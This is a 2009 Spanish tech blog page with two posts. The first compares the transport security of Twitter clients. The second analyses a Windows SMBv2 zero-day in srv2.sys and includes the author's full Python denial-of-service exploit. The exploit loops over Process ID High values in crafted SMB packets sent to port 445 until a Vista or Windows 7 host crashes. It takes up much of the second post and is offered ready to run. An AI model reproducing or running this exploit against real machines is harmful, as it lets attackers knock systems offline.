Bits y Lentejas

miércoles, 30 de septiembre de 2009

Vigila con qué twiteas

Con toda la fiebre de twitter y la miríada de clientes que existen, cabría esperar que todo el mundo pudiese encontrar uno ajustado a sus necesidades. No obstante, un requisito tan básico como que el cliente utilice comunicaciones cifradas mediante SSL/HTTPS reduce drásticamente las opciones.

En mi cruzada en busca del cliente ideal (para Linux), he probado varias alternativas, con resultados diversos pero bastante desalentadores. Podemos dividir los clientes en tres grupos:
  • HTTP+Autenticación básica
  • HTTP+OAuth
  • HTTPS/SSL
Los clientes que usan HTTP+autenticación básica no solo utilizan un protocolo sin cifrar para la comunicación con la API de Twitter, sino que además envían las credenciales en claro en cada petición (comprobado con un sniffer de red).
- gTwitter
- Twitbin (extensión de Firefox)
- KDETwitter Plasmoid

Hay otros clientes que, siguiendo las recomendaciones de Twitter no almacenan las credenciales ellos mismos, sino que utilizan un protocolo abierto específico de autenticación para APIs llamado OAuth, basado en tokens de seguridad. El sistema funciona más o menos así:
  1. Introduces tu nombre de usuario en el cliente Twitter
  2. El cliente abre un navegador para que te autentiques en Twitter si no tienes ya una sesión, con un token generado aleatoriamente. A la vez, hace una petición a la API para notificar la asociación entre ese token y la aplicación.
  3. Twitter te pregunta si quieres autorizar a la aplicación a acceder a tu cuenta y enviar tweets. Respondes que sí y te proporciona un PIN.
  4. Introduces el PIN en la aplicación, que ésta envía a Twitter junto con el token para comprobar que realmente el usuario es el que ha hecho la petición.
  5. Desde ese momento, las peticiones con ese token tienen autorización para modificar tu perfil.
No obstante, al enviar el token de autenticación en claro, son vulnerables a un secuestro de sesión exactamente igual que cuando se usan cookies. Dentro de este grupo de clientes sólo he encontrado/probado uno:
- qTwitter

Los que usan HTTPS/SSL (de nuevo, siguiendo las recomendaciones de Twitter) son los únicos que pueden considerarse seguros frente al robo de credenciales y secuestro de sesión, por utilizar un protocolo cifrado para las peticiones a la API.

-Qwit
- Twitux a partir de la versión 0.69, que no está aún en los repositorios de OpenSUSE oficiales.

¿Qué cliente twitter usáis? ¿Soporta y utliza SSL por defecto? Os recomiendo poner el Wireshark y esnifar un poco, puede que os llevéis una sorpresa...

Y por supuesto, si utilizáis la propia web de Twitter, aseguraos que entráis con HTTPS...

Etiquetas: , , ,

martes, 8 de septiembre de 2009

Windows Vista/7RC/2008 Server Vulnerables a un 0Day

No íbamos a ser los únicos que no poníamos esta noticia, :)

Bueno, antes de nada explicar en que consiste el problema.

Después de revisar varios datos, y comprobar directamente en el archivo vulnerable "srv2.sys" el problema, personalmente creo que el descubridor de la vuln. no se entero muy bien.

Autor: Laurent Gaffié
URL: http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html

El fallo esta al validar la entrada del "Process Id High" que se envia en dos bytes y es usado directamente como un indice en una tabla de funciones, lo que pasa es que el limite de esta tabla no esta comprobado al usar el parámetro, por eso se puede sobrepasar este limite. El driver después de obtener la dirección de la función, salta la ejecución a la dirección devuelta.

El descubridor define que poniendo en la parte alta del parametro un "&" provoca un fallo que hace que el sistema se vuelva inestable.

El problema es cuando, por casualidad, en la dirección que devuelve al buscar el indice 0x2600 es una dirección que no provoca un problema en el sistema, por eso algunas de las pruebas realizadas no colgaban los sistemas .

Como aportación he modificado el exploit original, buscando un valor que pueda colgar el sistema.

-- init --
#!/usr/bin/python

from socket import socket
from struct import *
import sys


def checkparams():
if len(sys.argv) != 2:
usage()
else:
return sys.argv[1], 445
return 0

def crashwin(host):
# Searching a memory position vuln
for i in range(0,65535):
buff = ("\x00\x00\x00\x90"
"\xff\x53\x4d\x42"
"\x72\x00\x00\x00"
"\x00\x18\x53\xc8"
+ pack('>H', i) + # Process ID High
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\xff\xff\xff\xfe\x00\x00"
"\x00\x00\x00\x6d\x00\x02\x50\x43"
"\x20\x4e\x45\x54\x57\x4f\x52\x4b"
"\x20\x50\x52\x4f\x47\x52\x41\x4d"
"\x20\x31\x2e\x30\x00\x02\x4c\x41"
"\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73"
"\x20\x66\x6f\x72\x20\x57\x6f\x72"
"\x6b\x67\x72\x6f\x75\x70\x73\x20"
"\x33\x2e\x31\x61\x00\x02\x4c\x4d"
"\x31\x2e\x32\x58\x30\x30\x32\x00"
"\x02\x4c\x41\x4e\x4d\x41\x4e\x32"
"\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02"
"\x53\x4d\x42\x20\x32\x2e\x30\x30"
"\x32\x00")

print "Trying crash the machine..."

s = socket()
try:
s.connect(host)
except:
print "Remote host not vulnerable"
break
sent = s.send(buff)
s.close()
if i > 0 and not sent:
print "Machine crashed!!!"
break

def headers():
print """SMBv2 Remote DoS
Author: Juan C. Montes based in the original PoC
Discovered by: Laurent Gaffie
Vuln to validate the Process Id High in 'srv2.sys'
Systems tryed affected:
- Windows Vista x86
- Windows 7 RC x86
"""

def usage():
print """usage: .%s """ % sys.argv[0]

# entry point
if __name__ == '__main__':
headers()
host = checkparams()
if host != 0:
crashwin(host)
-- end --


Espero que estos datos os sirvan de algo, :)

Un saludo.

Etiquetas: , ,